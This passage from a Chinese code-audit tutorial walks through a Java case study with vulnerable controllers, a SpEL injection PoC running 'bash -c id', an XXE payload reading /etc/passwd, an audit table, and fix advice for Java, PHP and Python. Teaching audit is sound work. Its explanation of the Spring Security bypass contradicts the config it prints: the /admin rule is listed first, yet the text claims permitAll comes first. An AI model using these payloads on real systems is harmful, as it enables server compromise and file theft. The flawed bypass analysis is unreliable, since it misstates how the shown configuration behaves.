\nSnyk \u626b\u63cf pom.xml \/ package.json，\u53ef\u5feb\u901f\u53d1\u73b0\u5df2\u77e5\u7ec4\u4ef6\u6f0f\u6d1e（1-Day）\u3002<\/p>\n

7.3 \u7b2c\u4e8c\u6b65：\u8def\u7531\u4e0e\u5165\u53e3\u70b9\u5206\u6790<\/h3>\n

```java
\n\/\/ AdminController.java \u2014\u2014 \u53d1\u73b0\u672a\u6388\u6743\u8bbf\u95ee + SSTI \u7ec4\u5408\u6f0f\u6d1e
\n@RestController
\n@RequestMapping("\/admin")
\npublic class AdminController {<\/p>\n

\u00a0 \u00a0 @Autowired
\n\u00a0 \u00a0 private TemplateService templateService;<\/p>\n

\u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u70b9 1\u3011\u7f3a\u5c11\u6743\u9650\u6ce8\u89e3，\u4efb\u610f\u7528\u6237\u53ef\u8bbf\u95ee
\n\u00a0 \u00a0 @PostMapping("\/template\/preview")
\n\u00a0 \u00a0 public String previewTemplate(@RequestBody Map<String, String> body) {
\n\u00a0 \u00a0 \u00a0 \u00a0 String content = body.get("content");
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u70b9 2\u3011\u8c03\u7528 SpelUtil，\u7528\u6237\u8f93\u5165\u6d41\u5165 SpEL \u89e3\u6790
\n\u00a0 \u00a0 \u00a0 \u00a0 return templateService.render(content);
\n\u00a0 \u00a0 }
\n}
\n```<\/p>\n

7.4 \u7b2c\u4e09\u6b65：\u81ea\u9876\u5411\u4e0b\u8ffd\u8e2a\u6570\u636e\u6d41<\/h3>\n

```java
\n\/\/ TemplateService.java
\n@Service
\npublic class TemplateService {<\/p>\n

\u00a0 \u00a0 public String render(String content) {
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u6570\u636e\u6d41：content -> SpelUtil.eval
\n\u00a0 \u00a0 \u00a0 \u00a0 return SpelUtil.eval(content);
\n\u00a0 \u00a0 }
\n}<\/p>\n

\/\/ SpelUtil.java \u2014\u2014 \u6700\u7ec8 Sink
\npublic class SpelUtil {
\n\u00a0 \u00a0 public static String eval(String expr) {
\n\u00a0 \u00a0 \u00a0 \u00a0 SpelExpressionParser parser = new SpelExpressionParser();
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u786e\u8ba4\u3011\u65e0\u5b89\u5168\u4e0a\u4e0b\u6587，\u76f4\u63a5\u89e3\u6790\u7528\u6237\u8868\u8fbe\u5f0f
\n\u00a0 \u00a0 \u00a0 \u00a0 return parser.parseExpression(expr).getValue().toString();
\n\u00a0 \u00a0 }
\n}
\n```<\/p>\n

\u6570\u636e\u6d41\u8ffd\u8e2a\u7ed3\u8bba：
\n– Source：previewTemplate \u7684 @RequestBody content
\n– Sink：SpelExpressionParser.parseExpression
\n– \u51c0\u5316：\u65e0
\n– \u7ed3\u8bba：\u5b58\u5728 SpEL \u6ce8\u5165\u6f0f\u6d1e<\/p>\n

7.5 \u7b2c\u56db\u6b65：\u6784\u9020\u6f0f\u6d1e\u94fe<\/h3>\n

\u5ba1\u8ba1\u53d1\u73b0，AdminController \u7684 \/admin\/template\/preview \u63a5\u53e3\u9700\u8981\u7ba1\u7406\u5458
\n\u6743\u9650\u3002\u4f46\u8fdb\u4e00\u6b65\u5206\u6790 SecurityConfig \u53d1\u73b0\u8ba4\u8bc1\u914d\u7f6e\u5b58\u5728\u7f3a\u9677：<\/p>\n

```java
\n\/\/ SecurityConfig.java
\n@Configuration
\npublic class SecurityConfig extends WebSecurityConfigurerAdapter {
\n\u00a0 \u00a0 @Override
\n\u00a0 \u00a0 protected void configure(HttpSecurity http) throws Exception {
\n\u00a0 \u00a0 \u00a0 \u00a0 http.authorizeRequests()
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 .antMatchers("\/admin\/**").authenticated() \u00a0\/\/ \u9700\u8981\u767b\u5f55
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 .antMatchers("\/**").permitAll()
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011Spring Security \u9ed8\u8ba4\u4f1a\u62e6\u622a \/admin\/**
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u4f46 antMatchers \u987a\u5e8f\u9519\u8bef，permitAll \u5728\u524d\u5bfc\u81f4 \/admin\/ \u88ab\u653e\u884c
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 .and().formLogin().permitAll();
\n\u00a0 \u00a0 }
\n}
\n```<\/p>\n

\u6f0f\u6d1e\u94fe\u6784\u9020：<\/p>\n

```
\n\u6f0f\u6d1e 1（\u6743\u9650\u7ed5\u8fc7）：SecurityConfig \u4e2d antMatchers \u987a\u5e8f\u9519\u8bef，
\n\u00a0 \u00a0 \/** permitAll \u8986\u76d6\u4e86 \/admin\/** authenticated，
\n\u00a0 \u00a0 \u5bfc\u81f4 \/admin\/template\/preview \u53ef\u88ab\u672a\u8ba4\u8bc1\u7528\u6237\u8bbf\u95ee\u3002<\/p>\n

\u6f0f\u6d1e 2（SpEL \u6ce8\u5165）：previewTemplate \u63a5\u53e3\u5c06\u7528\u6237\u8f93\u5165\u89e3\u6790\u4e3a SpEL \u8868\u8fbe\u5f0f\u3002<\/p>\n

\u7ec4\u5408\u5229\u7528\u94fe：
\n\u00a0 \u00a0 \u672a\u6388\u6743\u8bbf\u95ee -> SpEL \u6ce8\u5165 -> \u4efb\u610f\u547d\u4ee4\u6267\u884c -> \u83b7\u53d6\u670d\u52a1\u5668\u6743\u9650<\/p>\n

PoC：
\n\u00a0 \u00a0 POST \/admin\/template\/preview
\n\u00a0 \u00a0 Content-Type: application\/json<\/p>\n

\u00a0 \u00a0 {"content": "T(java.lang.Runtime).getRuntime().exec(new String[]{\\\\"bash\\\\",\\\\"-c\\\\",\\\\"id\\\\"})"}
\n```<\/p>\n

7.6 \u7b2c\u4e94\u6b65：\u53d1\u73b0\u7b2c\u4e8c\u4e2a\u6f0f\u6d1e（XXE）<\/h3>\n

\u7ee7\u7eed\u5ba1\u8ba1 XmlUtil \u5de5\u5177\u7c7b：<\/p>\n

```java
\n\/\/ XmlUtil.java
\npublic class XmlUtil {
\n\u00a0 \u00a0 public static Document parse(String xml) throws Exception {
\n\u00a0 \u00a0 \u00a0 \u00a0 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011\u672a\u7981\u7528\u5916\u90e8\u5b9e\u4f53
\n\u00a0 \u00a0 \u00a0 \u00a0 DocumentBuilder builder = factory.newDocumentBuilder();
\n\u00a0 \u00a0 \u00a0 \u00a0 return builder.parse(new InputSource(new StringReader(xml)));
\n\u00a0 \u00a0 }
\n}
\n```<\/p>\n

\u641c\u7d22 XmlUtil.parse \u7684\u8c03\u7528\u65b9：<\/p>\n

```java
\n\/\/ ArticleController.java
\n@PostMapping("\/import")
\npublic String importArticle(@RequestBody String xml) throws Exception {
\n\u00a0 \u00a0 Document doc = XmlUtil.parse(xml);
\n\u00a0 \u00a0 \/\/ \u89e3\u6790 XML \u5bfc\u5165\u6587\u7ae0
\n\u00a0 \u00a0 return "\u5bfc\u5165\u6210\u529f";
\n}
\n```<\/p>\n

\u6f0f\u6d1e\u94fe：\u672a\u6388\u6743\u8bbf\u95ee + XXE \u6587\u4ef6\u8bfb\u53d6<\/p>\n

```
\nPOST \/import
\nContent-Type: application\/xml<\/p>\n

<?xml version="1.0"?>
\n<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:\/\/\/etc\/passwd">]>
\n<foo>&xxe;<\/foo>
\n```<\/p>\n

7.7 \u5ba1\u8ba1\u62a5\u544a\u8f93\u51fa<\/h3>\n

| \u7f16\u53f7 | \u6f0f\u6d1e\u540d\u79f0 \u00a0 \u00a0 \u00a0 | \u4e25\u91cd\u7a0b\u5ea6 | \u4f4d\u7f6e \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u7c7b\u578b \u00a0 \u00a0 |
\n|——|—————|———-|——————————-|———-|
\n| V-01 | SpEL \u6ce8\u5165 \u00a0 \u00a0 | \u4e25\u91cd \u00a0 \u00a0 | SpelUtil.eval \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u767d\u76d2\u786e\u8ba4 |
\n| V-02 | \u6743\u9650\u7ed5\u8fc7 \u00a0 \u00a0 \u00a0| \u9ad8\u5371 \u00a0 \u00a0 | SecurityConfig.configure \u00a0 \u00a0 \u00a0| \u767d\u76d2\u786e\u8ba4 |
\n| V-03 | XXE \u6ce8\u5165 \u00a0 \u00a0 \u00a0| \u9ad8\u5371 \u00a0 \u00a0 | XmlUtil.parse \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u767d\u76d2\u786e\u8ba4 |
\n| V-04 | Log4Shell \u00a0 \u00a0 | \u4e25\u91cd \u00a0 \u00a0 | pom.xml (log4j 2.14.0) \u00a0 \u00a0 \u00a0 \u00a0| \u4f9d\u8d56\u626b\u63cf |
\n| V-05 | Fastjson RCE \u00a0| \u4e25\u91cd \u00a0 \u00a0 | pom.xml (fastjson 1.2.47) \u00a0 \u00a0 | \u4f9d\u8d56\u626b\u63cf |<\/p>\n

\n——————————————————————————–
\n\u516b\u3001\u4ee3\u7801\u5b89\u5168\u4fee\u590d\u5efa\u8bae
\n——————————————————————————–<\/h2>\n

8.1 \u901a\u7528\u5b89\u5168\u7f16\u7801\u539f\u5219<\/h3>\n

```
\n1. \u6c38\u4e0d\u4fe1\u4efb\u7528\u6237\u8f93\u5165（Never Trust User Input）
\n\u00a0 \u00a0– \u6240\u6709\u5916\u90e8\u8f93\u5165\u5747\u9700\u6821\u9a8c\u3001\u8fc7\u6ee4\u3001\u8f6c\u4e49
\n\u00a0 \u00a0– \u91c7\u7528"\u767d\u540d\u5355\u4f18\u5148"\u7b56\u7565，\u62d2\u7edd\u4e00\u5207\u975e\u9884\u671f\u8f93\u5165<\/p>\n

2. \u7eb5\u6df1\u9632\u5fa1（Defense in Depth）
\n\u00a0 \u00a0– \u4e0d\u4f9d\u8d56\u5355\u4e00\u9632\u7ebf，\u8f93\u5165\u6821\u9a8c + \u8f93\u51fa\u7f16\u7801 + \u6743\u9650\u63a7\u5236\u591a\u5c42\u53e0\u52a0
\n\u00a0 \u00a0– \u5373\u4f7f\u67d0\u5c42\u88ab\u7ed5\u8fc7，\u5176\u4ed6\u5c42\u4ecd\u80fd\u63d0\u4f9b\u4fdd\u62a4<\/p>\n

3. \u6700\u5c0f\u6743\u9650\u539f\u5219（Least Privilege）
\n\u00a0 \u00a0– \u5e94\u7528\u4ee5\u6700\u4f4e\u5fc5\u8981\u6743\u9650\u8fd0\u884c，\u907f\u514d root \/ Administrator
\n\u00a0 \u00a0– \u6570\u636e\u5e93\u8d26\u6237\u4ec5\u6388\u4e88\u5fc5\u8981\u8868\u7684\u5fc5\u8981\u6743\u9650<\/p>\n

4. \u5b89\u5168\u9ed8\u8ba4（Secure by Default）
\n\u00a0 \u00a0– \u9ed8\u8ba4\u914d\u7f6e\u5e94\u662f\u5b89\u5168\u7684，\u4e0d\u5b89\u5168\u9009\u9879\u9700\u663e\u5f0f\u5f00\u542f
\n\u00a0 \u00a0– \u5982 XML \u89e3\u6790\u9ed8\u8ba4\u7981\u7528\u5916\u90e8\u5b9e\u4f53
\n```<\/p>\n

8.2 \u5404\u8bed\u8a00\u9488\u5bf9\u6027\u4fee\u590d\u5efa\u8bae<\/h3>\n

Java \u4fee\u590d\u8981\u70b9：<\/p>\n

```java
\n\/\/ 1. SpEL：\u4f7f\u7528\u5b89\u5168\u4e0a\u4e0b\u6587
\nSimpleEvaluationContext.forReadOnlyDataBinding().build();<\/p>\n

\/\/ 2. JNDI：\u767d\u540d\u5355\u6821\u9a8c + \u5347\u7ea7 JDK
\n-Dcom.sun.jndi.ldap.object.trustURLCodebase=false<\/p>\n

\/\/ 3. XXE：\u7edf\u4e00\u5c01\u88c5\u5b89\u5168 XML \u89e3\u6790\u5de5\u5382
\nfactory.setFeature("http:\/\/apache.org\/xml\/features\/disallow-doctype-decl", true);<\/p>\n

\/\/ 4. \u6a21\u677f：\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6570\u636e\u800c\u975e\u6a21\u677f
\nrender_template_string('<p>{{name}}<\/p>', name=userInput);<\/p>\n

\/\/ 5. \u4f9d\u8d56：\u5b9a\u671f\u626b\u63cf pom.xml，\u4f7f\u7528 Dependency-Check \/ Snyk
\n```<\/p>\n

PHP \u4fee\u590d\u8981\u70b9：<\/p>\n

```php
\n\/\/ 1. \u7981\u7528\u5371\u9669\u51fd\u6570（php.ini）
\ndisable_functions = eval,exec,system,passthru,shell_exec<\/p>\n

\/\/ 2. extract \u4f7f\u7528 EXTR_SKIP
\nextract($data, EXTR_SKIP);<\/p>\n

\/\/ 3. \u8def\u5f84\u6821\u9a8c\u7528 realpath
\n$real = realpath($path);
\nif (strpos($real, $baseDir) !== 0) die('\u975e\u6cd5\u8def\u5f84');<\/p>\n

\/\/ 4. \u6587\u4ef6\u5305\u542b\u7528\u767d\u540d\u5355
\nif (!in_array($page, $allowed, true)) $page = 'default';<\/p>\n

\/\/ 5. \u53c2\u6570\u5316\u67e5\u8be2（\u5982\u4f7f\u7528 PDO）
\n$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
\n$stmt->execute([$id]);
\n```<\/p>\n

Python \u4fee\u590d\u8981\u70b9：<\/p>\n

```python
\n# 1. \u7981\u7528 pickle \u53cd\u5e8f\u5217\u5316\u7528\u6237\u6570\u636e，\u6539\u7528 json
\njson.loads(data)<\/p>\n

# 2. Jinja2 \u7528 SandboxedEnvironment
\nfrom jinja2.sandbox import SandboxedEnvironment<\/p>\n

# 3. subprocess \u7528\u5217\u8868\u53c2\u6570，\u907f\u514d shell=True
\nsubprocess.run(['ls', '-la'], shell=False) \u00a0# \u4e0d\u8981 shell=True<\/p>\n

# 4. PyYAML \u7528 safe_load
\nyaml.safe_load(data)<\/p>\n

# 5. \u4e0d\u4f9d\u8d56\u6c99\u7bb1，\u7528\u5bb9\u5668\u9694\u79bb\u4e0d\u53ef\u4fe1\u4ee3\u7801
\n```<\/p>\n

8.3 \u5b89\u5168\u5f00\u53d1\u751f\u547d\u5468\u671f（SDLC）\u878d\u5165<\/h3>\n

| \u9636\u6bb5 \u00a0 \u00a0 \u00a0 \u00a0 | \u5b89\u5168\u6d3b\u52a8 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u5de5\u5177 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n|————–|—————————————|———————-|
\n| \u9700\u6c42\u8bbe\u8ba1 \u00a0 \u00a0 | \u5a01\u80c1\u5efa\u6a21（STRIDE） \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| Threat Modeling Tool |
\n| \u7f16\u7801\u5f00\u53d1 \u00a0 \u00a0 | \u5b89\u5168\u7f16\u7801\u89c4\u8303 + IDE \u5b9e\u65f6\u626b\u63cf \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | Semgrep IDE \u63d2\u4ef6 \u00a0 \u00a0 |
\n| \u4ee3\u7801\u63d0\u4ea4 \u00a0 \u00a0 | Pre-commit \u94a9\u5b50\u626b\u63cf \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | Semgrep \/ Git Hooks \u00a0|
\n| CI\/CD \u6784\u5efa \u00a0 | SAST \u626b\u63cf + \u4f9d\u8d56\u68c0\u67e5 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| CodeQL \/ Dependency-Check |
\n| \u6d4b\u8bd5\u9636\u6bb5 \u00a0 \u00a0 | DAST \u626b\u63cf + \u4eba\u5de5\u6e17\u900f\u6d4b\u8bd5 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| ZAP \/ Burp Suite \u00a0 \u00a0 |
\n| \u4e0a\u7ebf\u53d1\u5e03 \u00a0 \u00a0 | \u5b89\u5168\u8bc4\u5ba1 + \u6f0f\u6d1e\u4fee\u590d\u786e\u8ba4 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u5b89\u5168\u95e8\u7981 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n| \u8fd0\u7ef4\u8fd0\u8425 \u00a0 \u00a0 | \u76d1\u63a7\u544a\u8b66 + \u5b9a\u671f\u590d\u6d4b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | WAF \/ SIEM \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<\/p>\n

\n——————————————————————————–
\n\u4e5d\u3001\u603b\u7ed3
\n——————————————————————————–<\/h2>\n

\u4ee3\u7801\u5ba1\u8ba1\u662f\u4e00\u9879\u9700\u8981\u8010\u5fc3\u3001\u7ecf\u9a8c\u4e0e\u7cfb\u7edf\u6027\u601d\u7ef4\u7684\u5de5\u4f5c\u3002\u672c\u6587\u4ece\u65b9\u6cd5\u8bba\u3001\u5de5\u5177\u3001
\n\u4e09\u5927\u8bed\u8a00\u5b9e\u6218\u3001\u81ea\u52a8\u5316\u3001\u5b8c\u6574\u6848\u4f8b\u4e94\u4e2a\u7ef4\u5ea6，\u7cfb\u7edf\u68b3\u7406\u4e86\u4ee3\u7801\u5ba1\u8ba1\u7684\u6838\u5fc3\u77e5\u8bc6\u3002<\/p>\n

\u6838\u5fc3\u8981\u70b9\u56de\u987e：<\/p>\n

1. \u65b9\u6cd5\u8bba\u662f\u6839\u57fa
\n\u00a0 \u00a0– "\u81ea\u5e95\u5411\u4e0a + \u81ea\u9876\u5411\u4e0b"\u7ed3\u5408，\u5148\u641c Sink \u518d\u56de\u6eaf Source
\n\u00a0 \u00a0– \u5de5\u5177\u521d\u7b5b + \u4eba\u5de5\u590d\u6838，\u6548\u7387\u4e0e\u51c6\u786e\u6027\u517c\u987e<\/p>\n

2. \u5de5\u5177\u662f\u52a9\u529b\u800c\u975e\u4f9d\u8d56
\n\u00a0 \u00a0– Semgrep \u5feb\u901f\u626b\u63cf\u3001CodeQL \u6df1\u5ea6\u5206\u6790\u3001IDE \u624b\u5de5\u5ba1\u8ba1\u4e09\u4f4d\u4e00\u4f53
\n\u00a0 \u00a0– \u6ca1\u6709\u94f6\u5f39，\u6bcf\u4e2a\u5de5\u5177\u90fd\u6709\u76f2\u533a<\/p>\n

3. \u6570\u636e\u6d41\u8ffd\u8e2a\u662f\u6838\u5fc3\u6280\u80fd
\n\u00a0 \u00a0– \u7262\u8bb0 Source（\u8f93\u5165\u70b9）-> \u51c0\u5316 -> Sink（\u5371\u9669\u51fd\u6570）\u6a21\u578b
\n\u00a0 \u00a0– \u91cd\u70b9\u5ba1\u67e5"\u51c0\u5316\u51fd\u6570"\u662f\u5426\u53ef\u88ab\u7ed5\u8fc7<\/p>\n

4. \u6f0f\u6d1e\u94fe\u6784\u9020\u51b3\u5b9a\u5371\u5bb3\u7b49\u7ea7
\n\u00a0 \u00a0– \u5355\u4e2a\u4f4e\u5371\u6f0f\u6d1e\u7ec4\u5408\u540e\u53ef\u80fd\u6210\u4e3a\u81f4\u547d\u5229\u7528\u94fe
\n\u00a0 \u00a0– \u6743\u9650\u7ed5\u8fc7 + \u6ce8\u5165\u7c7b\u6f0f\u6d1e\u662f\u6700\u5e38\u89c1\u7684\u7ec4\u5408\u6a21\u5f0f<\/p>\n

5. \u5b89\u5168\u5de6\u79fb\u662f\u8d8b\u52bf
\n\u00a0 \u00a0– \u5728\u5f00\u53d1\u9636\u6bb5\u6d88\u9664\u6f0f\u6d1e\u6210\u672c\u6700\u4f4e
\n\u00a0 \u00a0– \u5c06\u5ba1\u8ba1\u5de5\u5177\u878d\u5165 CI\/CD，\u5b9e\u73b0\u6301\u7eed\u5b89\u5168<\/p>\n

\u8fdb\u9636\u5b66\u4e60\u8def\u5f84\u5efa\u8bae：<\/p>\n

```
\n\u5165\u95e8：\u638c\u63e1\u4e00\u95e8\u8bed\u8a00\u57fa\u7840 + \u9605\u8bfb OWASP Top 10
\n\u00a0 \u00a0 \u00a0 -> \u4f7f\u7528 Semgrep \u626b\u63cf\u5f00\u6e90\u9879\u76ee，\u7406\u89e3\u6f0f\u6d1e\u6a21\u5f0f<\/p>\n

\u8fdb\u9636：\u5b66\u4e60 CodeQL，\u7f16\u5199\u81ea\u5b9a\u4e49\u6c61\u70b9\u8ffd\u8e2a\u67e5\u8be2
\n\u00a0 \u00a0 \u00a0 -> \u5ba1\u8ba1 2-3 \u4e2a\u5f00\u6e90 CMS，\u79ef\u7d2f\u5b9e\u6218\u7ecf\u9a8c<\/p>\n

\u9ad8\u7ea7：\u7814\u7a76 CVE \u6f0f\u6d1e\u5206\u6790，\u590d\u73b0\u6f0f\u6d1e\u94fe
\n\u00a0 \u00a0 \u00a0 -> \u5173\u6ce8\u7ec4\u4ef6\u7ea7\u6f0f\u6d1e（Fastjson\u3001Log4j\u3001Shiro）
\n\u00a0 \u00a0 \u00a0 -> \u53c2\u4e0e\u6f0f\u6d1e\u8d4f\u91d1\u8ba1\u5212，\u5b9e\u6218\u68c0\u9a8c\u80fd\u529b
\n```<\/p>\n

\u3010\u63d0\u793a\u3011\u4ee3\u7801\u5ba1\u8ba1\u80fd\u529b\u7684\u63d0\u5347\u6ca1\u6709\u6377\u5f84，\u5173\u952e\u5728\u4e8e"\u591a\u8bfb\u3001\u591a\u5ba1\u3001\u591a\u590d\u76d8"\u3002
\n\u5efa\u8bae\u4ece\u5ba1\u8ba1\u4e2d\u5c0f\u578b\u5f00\u6e90\u9879\u76ee\u5165\u624b（\u5982 Java \u7684\u67d0\u4e2a\u5c0f\u578b CMS），\u9010\u6b65\u79ef\u7d2f
\n\u5bf9\u5404\u7c7b\u6f0f\u6d1e\u6a21\u5f0f\u7684\u654f\u611f\u5ea6，\u6700\u7ec8\u5f62\u6210\u81ea\u5df1\u7684\u5ba1\u8ba1\u65b9\u6cd5\u8bba\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

\u524d\u8a00\u5728\u7532\u65b9\u5b89\u5168\u5efa\u8bbe\u4e0e\u7ea2\u961f\u6e17\u900f\u4e2d，\u4ee3\u7801\u5ba1\u8ba1（Code Audit \/ White-box Testing）
\n\u662f\u4e00\u9879\u6838\u5fc3\u80fd\u529b\u3002\u76f8\u6bd4\u4e8e\u9ed1\u76d2\u626b\u63cf\\”\u649e\u8fd0\u6c14\\”\u5f0f\u7684\u6f0f\u6d1e\u53d1\u73b0，\u4ee3\u7801\u5ba1\u8ba1\u80fd\u591f\u4ece
\n\u6e90\u5934\u5b9a\u4f4d\u7f3a\u9677，\u7406\u89e3\u4e1a\u52a1\u903b\u8f91，\u6316\u6398\u51fa\u9ed1\u76d2\u96be\u4ee5\u89e6\u8fbe\u7684\u9ad8\u5371\u903b\u8f91\u6f0f\u6d1e\u4e0e\u7ec4\u5408\u94fe\u3002\u672c\u6587\u5c06\u4ece\u65b9\u6cd5\u8bba\u51fa\u53d1，\u7cfb\u7edf\u8bb2\u89e3\u767d\u76d2\u5ba1\u8ba1\u7684\u601d\u8def，\u5bf9\u6bd4\u516d\u5927\u4e3b\u6d41\u5ba1\u8ba1\u5de5\u5177，\u5e76
\n\u5206\u522b\u7ed9\u51fa Java\u3001PHP\u3001Pytho<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[81,275,61,823,122],"topic":[],"class_list":["post-93089","post","type-post","status-publish","format-standard","hentry","category-server","tag-python","tag-web","tag-61","tag-823","tag-122"],"yoast_head":"\n\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/93089.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u524d\u8a00\u5728\u7532\u65b9\u5b89\u5168\u5efa\u8bbe\u4e0e\u7ea2\u961f\u6e17\u900f\u4e2d，\u4ee3\u7801\u5ba1\u8ba1（Code Audit \/ White-box Testing） \u662f\u4e00\u9879\u6838\u5fc3\u80fd\u529b\u3002\u76f8\u6bd4\u4e8e\u9ed1\u76d2\u626b\u63cf"\u649e\u8fd0\u6c14"\u5f0f\u7684\u6f0f\u6d1e\u53d1\u73b0，\u4ee3\u7801\u5ba1\u8ba1\u80fd\u591f\u4ece \u6e90\u5934\u5b9a\u4f4d\u7f3a\u9677，\u7406\u89e3\u4e1a\u52a1\u903b\u8f91，\u6316\u6398\u51fa\u9ed1\u76d2\u96be\u4ee5\u89e6\u8fbe\u7684\u9ad8\u5371\u903b\u8f91\u6f0f\u6d1e\u4e0e\u7ec4\u5408\u94fe\u3002\u672c\u6587\u5c06\u4ece\u65b9\u6cd5\u8bba\u51fa\u53d1，\u7cfb\u7edf\u8bb2\u89e3\u767d\u76d2\u5ba1\u8ba1\u7684\u601d\u8def，\u5bf9\u6bd4\u516d\u5927\u4e3b\u6d41\u5ba1\u8ba1\u5de5\u5177，\u5e76 \u5206\u522b\u7ed9\u51fa Java\u3001PHP\u3001Pytho\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/93089.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-11T14:00:45+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/93089.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/93089.html\",\"name\":\"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-08-11T14:00:45+00:00\",\"dateModified\":\"2026-08-11T14:00:45+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/93089.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/93089.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/93089.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python 